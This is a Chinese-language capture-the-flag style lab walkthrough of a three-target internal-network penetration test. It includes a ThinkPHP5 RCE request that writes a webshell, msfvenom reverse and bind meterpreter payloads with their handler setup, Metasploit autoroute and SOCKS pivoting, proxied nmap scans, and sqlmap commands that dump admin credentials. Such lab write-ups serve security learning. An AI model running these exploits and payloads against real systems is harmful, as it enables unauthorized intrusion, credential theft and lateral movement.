目标主机搭建
1.靶场搭建自行百度
一共有三个目标target
kali攻击机与targe1网段是一致。因为是内网渗透。
进入正题
target1
1.1
直接访问目标主机,发现是thinkphp5。
直接百度thinkphp5的exp
发现
1.2
利用漏洞上传一句话木马
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
上传后使用蚁剑进行连接
1.3
拿到权限后输入 uname-a 来查看当前主机的操作系统
然后在kali中msf线上找马
生成一个linux x64 的木马
然后使用蚁剑传入target1中获取shell
(我是一个初学者,我我的理解是使用普通的蚁剑获取shell后再使用隧道代理会有些麻烦,我也不会。所以使用蚁剑获取shell是用来测试的。而开始渗透是需要使用kali中的一些工具进行内网渗透,msf中有自带的socks,使用起来比较方便。所以在使用蚁剑获取到shell后再用msf获取shell开始内网渗透。理解若有误,请大佬指点!!)
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.131 lport=4444 -f elf > 1.elf
生成木马
文件在桌面
把它传入target1中
然后修改权限为777并启动
chmod 777 1.elf
./1.elf
然后在msf中使用侦听模块
msfconsole 开启msf
use exploit/multi/handler 使用侦听模块
set payload linux/x64/meterpreter/reverse_tcp 设置payload 和上面生成马一样
set lport 4444
set lhost kaliip 和马一样
show options 查看
run 启动
拿到target1的shell
target2
当我们成功拿到target1的shell,我们要通过target1作为跳板去访问target2,并且拿到target2的shell。
这里我们不能直接用kali进行namp信息搜集,因为我们作为攻击机kali是没有target2的路由,也就是没有target2的网段。所以我们要使用隧道代理。可以理解为centos和kali存在公网。但是下一台乌班图实在内网的,而centos也存在于内网。所以使用kali挂centos的代理来访问乌班图并去获取乌班图的shell。
2.1
我们先查看centos的路由
route
发现22网段的路由。
2.2
然后我们在msf中配置22网段的路由
Run autoroute -s 192.168.22.0/24
然后查看一下是否添加成功
run autoroute -p
2.3
然后使用msf自带的socks代理使kali可以访问乌班图
配置socks的代理信息
set srvhost 127.0.0.1
set srvport 1080
run
更改一下/etc/proxychans.conf的配置信息
配置和上面设置代理的一样。
2.4
然后使用nmap代理进行扫描22网段存活的ip和服务
proxychains nmap -Pn -sT 192.168.22.0/24 -p 22,80 --open
就会扫描到目标服务器
然后进行在浏览器代理设置中配置代理进行访问
之后就可以访问到target2了
2.5
进行信息搜集
这里作者留下了一下提示
F12
作者表明了注入点
我们进行注入。这里mysql的手工注入不是很会。后期学习后会发表
所以直接拿sqlmap 挂代理跑
1.sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --proxy=socks4://192.168.75.132:2222 --dbs
2.sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --proxy=socks4://192.168.75.132:2222 -D bagecms --tables
3.sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --proxy=socks4://192.168.75.132:2222 -D begacms -T bage_admin --columns
4.sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --proxy=socks4://192.168.75.132:2222 -D begacms -T bage_admin -C username,password --dump
得到账号密码为admin和123qwe
得到账号密码我们需要找到管理登录页面。
这里也是拿御剑挂代理扫目录。
yujian我没找到有代理的版本
我就下载了一个SocksCap64.exe的windows代理工具。使用和下载网上有
扫出了robots.txt
进入后台管理页面登录进去
2.6
进入主页后,找到模板,发现有php文件。使用一句话木马进行getshell
菜刀可直接连接。
2.7
我们使用msf获取shell然后提权,和targer1相同
制作msf马获取shell
msfvenom -p linux/x64/meterpreter/bind_tcp lport=4567 -f elf > uu.elf
(主机可访问外网用反向(reverse),主机不可访问外网用正向(bind))
这里的msf需要用proxychains新开。因为是在代理的基础上去监听。
设置 payload rhost rport
把uu.elf用菜刀传入乌班图(菜刀需要设置代理。)
成功拿到权限。
php马的代理容易掉线,所以第二种方法来了
2.7
获取target2的第二种方法。
msf生成php马
msfvenom -p php/meterpreter/bind_tcp RHOST=192.168.22.129 LPORT=6666 -f raw >shell.php
传入同一个地方
msf上线正向连接
访问一下目录,默认启动了index.php
然后就msf上线了。
然后因为php马不稳定,所以用msf生成乌班图的马再传一个。
然后再进行反向连接。因为有了php马已经获取了shell,所以进入shell,启动乌班图的马
就获取到了乌班图用乌班图shell上线的马。
这时候我们的session就有两个会话,一个是target1另一个是target2的。
代理nmap扫一下。
添加target的路由。
然后攻击。
获取shell